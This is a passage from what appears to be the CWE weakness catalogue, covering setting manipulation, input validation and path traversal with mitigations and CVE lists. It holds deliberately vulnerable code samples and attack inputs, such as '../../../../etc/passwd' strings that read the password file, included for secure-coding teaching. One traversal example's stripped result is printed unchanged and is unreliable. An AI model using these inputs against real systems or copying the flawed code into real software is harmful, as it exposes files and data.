Weakness ID: 15 (*Weakness Base*)

Status: Incomplete

Description**Summary**

One or more system settings or configuration elements can be externally controlled by a user.

Extended Description

Allowing external control of system settings can disrupt service or cause an application to behave in unexpected, and potentially malicious ways.

Time of Introduction

- Implementation

Modes of Introduction

Setting manipulation vulnerabilities occur when an attacker can control values that govern the behavior of the system, manage specific resources, or in some way affect the functionality of the application.

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Other

Varies by context

Demonstrative Examples

Example 1:

The following C code accepts a number as one of its command line parameters and sets it as the host ID of the current machine.

C Example:

Bad Code

```
...
sethostid(argv[1]);
...
```

Although a process must be privileged to successfully invoke `sethostid()`, unprivileged users may be able to invoke the program. The code in this example allows user input to directly control the value of a system setting. If an attacker provides a malicious value for host ID, the attacker can misidentify the affected machine on the network or cause other unintended behavior.

Example 2:

The following Java code snippet reads a string from an `HttpServletRequest` and sets it as the active catalog for a database Connection.

Java Example:

Bad Code

```
...
conn.setCatalog(request.getParameter("catalog"));
...
```

In this example, an attacker could cause an error by providing a nonexistent catalog name or connect to an unauthorized portion of the database.

Potential Mitigations

Architecture and Design

Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality.

Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Implementation

Architecture and Design

Because setting manipulation covers a diverse set of functions, any attempt at illustrating it will inevitably be incomplete. Rather than searching for a tight-knit relationship between the functions addressed in the setting manipulation category, take a step back and consider the sorts of system values that an attacker should not be allowed to control.

Implementation

Architecture and Design

In general, do not allow user-provided or otherwise untrusted data to control sensitive values. The leverage that an attacker gains by controlling these values is not always immediately obvious, but do not underestimate the creativity of the attacker.

WASC	15	Application Misconfiguration

Maintenance Notes

This entry is a Category, but various sources map to it anyway, e.g. by NVD, despite CWE guidance that Categories should not be mapped. In this case, there are no clear CWE Weaknesses that can be utilized. "Inappropriate Configuration" might be better described as a Weakness, so this entry might be converted to a Weakness in a later version. Further research is required, however, as a "configuration weakness" might be Primary to many other CWEs, i.e., it might be better described in terms of chaining relationships.

CWE-17: Code

Category ID: 17 (Category) Status: Draft

Description

Summary

Weaknesses in this category are typically introduced during code development, including specification, design, and implementation.

Relationships

Nature	Type	ID	Name	V	Page

CWE-20: Improper Input Validation

Weakness ID: 20 (Weakness Class)

Status: Usable

Description

Summary

The product does not validate or incorrectly validates input that can affect the control flow or data flow of a program.

Extended Description

When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.

Terminology Notes

The "input validation" term is extremely common, but it is used in many different ways. In some cases its usage can obscure the real underlying weakness or otherwise hide chaining and composite relationships.

Some people use "input validation" as a general term that covers many different neutralization techniques for ensuring that input is appropriate, such as filtering, canonicalization, and escaping. Others use the term in a more narrow context to simply mean "checking if an input conforms to expectations without changing it."

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Platform Notes

Modes of Introduction

If a programmer believes that an attacker cannot modify certain inputs, then the programmer might not perform any input validation at all. For example, in web applications, many programmers believe that cookies and hidden form fields can not be modified from a web browser (CWE-472), although they can be altered using a proxy or a custom program. In a client-server architecture, the programmer might assume that client-side security checks cannot be bypassed, even when a custom client could be written that skips those checks (CWE-602).

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Availability

DoS: crash / exit / restart

DoS: resource consumption (CPU)

DoS: resource consumption (memory)

An attacker could provide unexpected values and cause a program crash or excessive consumption of resources, such as memory and CPU.

Confidentiality

Read memory

Read files or directories

An attacker could read confidential data if they are able to control resource references.

Integrity

Confidentiality

Availability

Modify memory

Execute unauthorized code or commands

An attacker could use malicious input to modify data or possibly alter control flow in unexpected ways, including arbitrary command execution.

Likelihood of Exploit

High

Detection Methods

Automated Static Analysis

Some instances of improper input validation can be detected using automated static analysis.

A static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present.

Except in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Manual Static Analysis

When custom input validation is required, such as when enforcing business rules, manual analysis is necessary to ensure that the validation is properly implemented.

Fuzzing

Fuzzing techniques can be useful for detecting input validation errors. When unexpected inputs are provided to the software, the software should not crash or otherwise become unstable, and it should generate application-controlled error messages. If exceptions or interpreter-generated error messages occur, this indicates that the input was not detected and handled within the application logic itself.

Automated Static Analysis - Binary / Bytecode

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Web Application Scanner

Web Services Scanner

Database Scanners

Dynamic Analysis with manual results interpretation

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Fuzz Tester
- Framework-based Fuzzer

Cost effective for partial coverage:

- Host Application Interface Scanner
- Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Manual Static Analysis - Source Code

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Focused Manual Spotcheck - Focused manual analysis of source
- Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

Architecture / Design Review

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
- Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

- Attack Modeling

Demonstrative Examples

Example 1:

This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.

Java Example:

Bad Code

```
...
public static final double price = 20.00;
int quantity = currentUser.getAttribute("quantity");
double total = price * quantity;
chargeUser(total);
...
```

The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited.

Example 2:

This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.

C Example:

Bad Code

```
...
#define MAX_DIM 100
...
/* board dimensions */
int m,n, error;
```

```
board_square_t *board;
printf("Please specify the board height: \n");
error = scanf("%d", &m);
if ( EOF == error ){
    die("No integer passed: Die evil hacker!\n");
}
printf("Please specify the board width: \n");
error = scanf("%d", &n);
if ( EOF == error ){
    die("No integer passed: Die evil hacker!\n");
}
if ( m > MAX_DIM || n > MAX_DIM ) {
    die("Value too large: Die evil hacker!\n");
}
board = (board_square_t*) malloc( m * n * sizeof(board_square_t));
...
```

While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program.

Example 3:

The following example shows a PHP application in which the programmer attempts to display a user's birthday and homepage.

PHP Example:

Bad Code

```
$birthday = $_GET['birthday'];
$homepage = $_GET['homepage'];
echo "Birthday: $birthday<br>Homepage: <a href=$homepage>click here</a>"
```

The programmer intended for \$birthday to be in a date format and \$homepage to be a valid URL. However, since the values are derived from an HTTP request, if an attacker can trick a victim into clicking a crafted URL with <script> tags providing the values for birthday and / or homepage, then the script will run on the client's browser when the web server echoes the content. Notice that even if the programmer were to defend the \$birthday variable by restricting input to integers and dashes, it would still be possible for an attacker to provide a string of the form:

Attack

```
2009-01-09--
```

If this data were used in a SQL statement, it would treat the remainder of the statement as a comment. The comment could disable other security-related logic in the statement. In this case, encoding combined with input validation would be a more useful protection mechanism. Furthermore, an XSS (CWE-79) attack or SQL injection (CWE-89) are just a few of the potential consequences when input validation is not used. Depending on the context of the code, CRLF Injection (CWE-93), Argument Injection (CWE-88), or Command Injection (CWE-77) may also be possible.

Example 4:

This function attempts to extract a pair of numbers from a user-supplied string.

C Example:

Bad Code

```
void parse_data(char *untrusted_input){
    int m, n, error;
    error = sscanf(untrusted_input, "%d:%d", &m, &n);
    if ( EOF == error ){
        die("Did not specify integer value. Die evil hacker!\n");
    }
    /* proceed assuming n and m are initialized correctly */
}
```

This code attempts to extract two integer values out of a formatted, user-supplied input. However, if an attacker were to provide an input of the form:

Attack

123:

then only the *m* variable will be initialized. Subsequent use of *n* may result in the use of an uninitialized variable (CWE-457).

Example 5:

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

Java Example:

Bad Code

```
private void buildList ( int untrustedListSize ){
    if ( 0 > untrustedListSize ){
        die("Negative value supplied for list size, die evil hacker!");
    }
    Widget[] list = new Widget [ untrustedListSize ];
    list[0] = new Widget();
}
```

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.

Example 6:

This application has registered to handle a URL when sent an intent:

Java Example:

Bad Code

```
...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to `getStringExtra()` will return null, thus causing a null pointer exception when `length()` is called.

Observed Examples

Reference	Description
CVE-2006-3790	size field that is inconsistent with packet size leads to buffer over-read
CVE-2006-5462	use of extra data in a signature allows certificate signature forging
CVE-2006-5525	incomplete blacklist allows SQL injection
CVE-2006-6658	request with missing parameters leads to information exposure
CVE-2006-6870	infinite loop from DNS packet with a label that points to itself
CVE-2007-2442	zero-length input causes free of uninitialized pointer
CVE-2007-3409	infinite loop from DNS packet with a label that points to itself
CVE-2007-5893	HTTP request with missing protocol version number leads to crash
CVE-2008-0600	kernel does not validate an incoming pointer before dereferencing it
CVE-2008-1284	NUL byte in theme name cause directory traversal impact to be worse
CVE-2008-1303	missing parameter leads to crash
CVE-2008-1440	lack of validation of length field leads to infinite loop
CVE-2008-1625	lack of validation of input to an IOCTL allows code execution
CVE-2008-1737	anti-virus product allows DoS via zero-length field

CWE-20: Improper Input Validation

Reference	Description
CVE-2008-1738	anti-virus product has insufficient input validation of hooked SSDT functions, allowing code execution
CVE-2008-2223	SQL injection through an ID that was supposed to be numeric.
CVE-2008-2252	kernel does not validate parameters sent in from userland, allowing code execution
CVE-2008-2309	product uses a blacklist to identify potentially dangerous content, allowing attacker to bypass a warning
CVE-2008-2374	lack of validation of string length fields allows memory consumption or buffer over-read
CVE-2008-3174	driver in security product allows code execution due to insufficient validation
CVE-2008-3177	zero-length attachment causes crash
CVE-2008-3464	driver does not validate input from userland to the kernel
CVE-2008-3477	lack of input validation in spreadsheet program leads to buffer overflows, integer overflows, array index errors, and memory corruption.
CVE-2008-3494	security bypass via an extra header
CVE-2008-3571	empty packet triggers reboot
CVE-2008-3660	crash via multiple "." characters in file extension
CVE-2008-3680	packet with invalid version number leads to NULL pointer dereference
CVE-2008-3812	router crashes with a malformed packet
CVE-2008-3843	insufficient validation enables XSS
CVE-2008-4114	system crash with offset value that is inconsistent with packet size
CVE-2008-5285	infinite loop from a long SMTP request
CVE-2008-5305	Eval injection in Perl program using an ID that should only contain hyphens and numbers.
CVE-2008-5563	crash via a malformed frame structure

Potential Mitigations

Architecture and Design

Input Validation

Libraries or Frameworks

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. If you use Struts, be mindful of weaknesses covered by the CWE-101 category.

Architecture and Design

Implementation

Identify and Reduce Attack Surface

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Implementation

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Implementation

Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Relationship Notes

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks. However, input validation is not always sufficient, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise neutralized. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

Research Gaps

There is not much research into the classification of input validation techniques and their application. Many publicly-disclosed vulnerabilities simply characterize a problem as "input validation" without providing more specific details that might contribute to a deeper understanding of validation techniques and the weaknesses they can prevent or reduce. Validation is over-

emphasized in contrast to other neutralization techniques such as filtering and enforcement by conversion. See the vulnerability theory paper.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Input validation and representation
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
CERT C Secure Coding	ERR07-C		Prefer functions that support error checking over equivalent functions that don't
CERT C Secure Coding	FIO30-C	CWE More Abstract	Exclude user input from format strings
CERT C Secure Coding	MEM10-C		Define and use a pointer validation function
WASC	20		Improper Input Handling
Software Fault Patterns	SFP25		Tainted input to variable

Maintenance Notes

Input validation - whether missing or incorrect - is such an essential and widespread part of secure development that it is implicit in many different weaknesses. Traditionally, problems such as buffer overflows and XSS have been classified as input validation problems by many security professionals. However, input validation is not necessarily the only protection mechanism available for avoiding such problems, and in some cases it is not even sufficient. The CWE team has begun capturing these subtleties in chains within the Research Concepts view (CWE-1000), but more work is needed.

CWE-21: Pathname Traversal and Equivalence Errors

Category ID: 21 (Category)

Status: Incomplete

Description

Summary

Weaknesses in this category can be used to access files outside of a restricted directory (path traversal) or to perform operations on files that would otherwise be restricted (path equivalence). Files, directories, and folders are so central to information technology that many different weaknesses and variants have been discovered. The manipulations generally involve special characters or sequences in pathnames, or the use of alternate references or channels.

PLOVER	Pathname Traversal and Equivalence Errors

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Weakness ID: 22 (Weakness Class)

Status: Draft

Description

Summary

The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Extended Description

Many file operations are intended to take place within a restricted directory. By using special elements such as "." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the ".." sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin", which may also be useful in accessing unexpected files. This is referred to as absolute path traversal.

In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to widen the scope of attack. For example, the software may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.

Alternate Terms

Directory traversal

Path traversal

"Path traversal" is preferred over "directory traversal," but both terms are attack-focused.

Terminology Notes

Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of "." and equivalent sequences whose specific meaning is to traverse directories.

Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve "." or equivalent.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Confidentiality

Availability

Execute unauthorized code or commands

The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.

Integrity**Modify files or directories**

The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.

Confidentiality**Read files or directories**

The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.

Availability**DoS: crash / exit / restart**

The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.

Likelihood of Exploit

High

Detection Methods**Automated Static Analysis**

High

Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the software's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.

Manual Static Analysis

High

Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.

Automated Static Analysis - Binary / Bytecode

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Cost effective for partial coverage:

Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Web Application Scanner

Web Services Scanner

Database Scanners

Dynamic Analysis with manual results interpretation**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Fuzz Tester

Framework-based Fuzzer

Manual Static Analysis - Source Code**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Architecture / Design Review**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples**Example 1:**

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

Perl Example:*Bad Code*

```
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;
open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
    print "<li>$_</li>\n";
}
print "</ul>\n";
```

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

Attack

```
../../../../etc/passwd
```

The program would generate a profile pathname like this:

Result

```
/users/cwe/profiles../../../../etc/passwd
```

When the file is opened, the operating system resolves the "../" during path canonicalization and actually accesses this file:

Result

/etc/passwd

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

Example 2:

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

Java Example:

Bad Code

```
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);
```

However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

Example 3:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Perl Example:

Bad Code

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Attack

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Result

```
../../../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Result

```
/home/user../../../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

Example 4:

The following code attempts to validate a given input path by checking it against a whitelist and once validated delete the given file. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

Java Example:

Bad Code

```
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
    File f = new File(path);
    f.delete()
}
```

An attacker could provide an input such as this:

Attack

```
/safe_dir/./important.dat
```

The software assumes that the path is valid because it starts with the "/safe_path/" sequence, but the "./" sequence will cause the program to delete the important.dat file in the parent directory

Example 5:

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The HTML code is the same as in the previous example with the action attribute of the form sending the upload file request to the Java servlet instead of the PHP code.

HTML Example:

Good Code

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

Java Example:

Bad Code

```
public class FileUploadServlet extends HttpServlet {
    ...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
        IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String pLine = new String();
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ...
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf("\\", pLine.lastIndexOf("\n"));
            ...
            // output the file to the local upload directory
            try {
                BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
                for (String line; (line=br.readLine())!=null; ) {
                    if (line.indexOf(boundary) == -1) {
                        bw.write(line);
                        bw.newLine();
                        bw.flush();
                    }
                } //end of for loop
                bw.close();
            } catch (IOException ex) {...}
            // output successful upload response HTML page
        }
        // output unsuccessful upload response HTML page
        else
        {...}
    }
    ...
}
```

This code does not check the filename that is provided in the header, so an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing

environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Also, this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code (CWE-434).

Observed Examples

Reference	Description
CVE-2008-5748	Chain: external control of values for user's desired language and theme enables path traversal.
CVE-2009-0244	OBEX FTP service for a Bluetooth device allows listing of directories, and creation or reading of files using ".." sequences.
CVE-2009-1936	Chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.
CVE-2009-4013	Software package maintenance program allows overwriting arbitrary files using "../" sequences.
CVE-2009-4053	FTP server allows creation of arbitrary directories using ".." in the MKD command.
CVE-2009-4194	FTP server allows deletion of arbitrary files using ".." in the DELE command.
CVE-2009-4449	Bulletin board allows attackers to determine the existence of files using the avatar.
CVE-2009-4581	PHP program allows arbitrary code execution using ".." in filenames that are fed to the include() function.
CVE-2010-0012	Overwrite of files using a .. in a Torrent file.
CVE-2010-0013	Chat program allows overwriting files using a custom smiley request.
CVE-2010-0467	Newsletter module allows reading arbitrary files using "../" sequences.

Potential Mitigations

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Implementation**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Use a built-in path canonicalization function (such as `realpath()` in C) that produces the canonical version of the pathname, which effectively removes "." sequences and symbolic links (CWE-23, CWE-59). This includes:

- `realpath()` in C
- `getCanonicalPath()` in Java
- `GetFullPath()` in ASP.NET
- `realpath()` or `abs_path()` in Perl
- `realpath()` in PHP

Architecture and Design**Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Operation**Firewall****Moderate**

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Architecture and Design**Operation****Environment Hardening**

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.22.5]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design**Enforcement by Conversion**

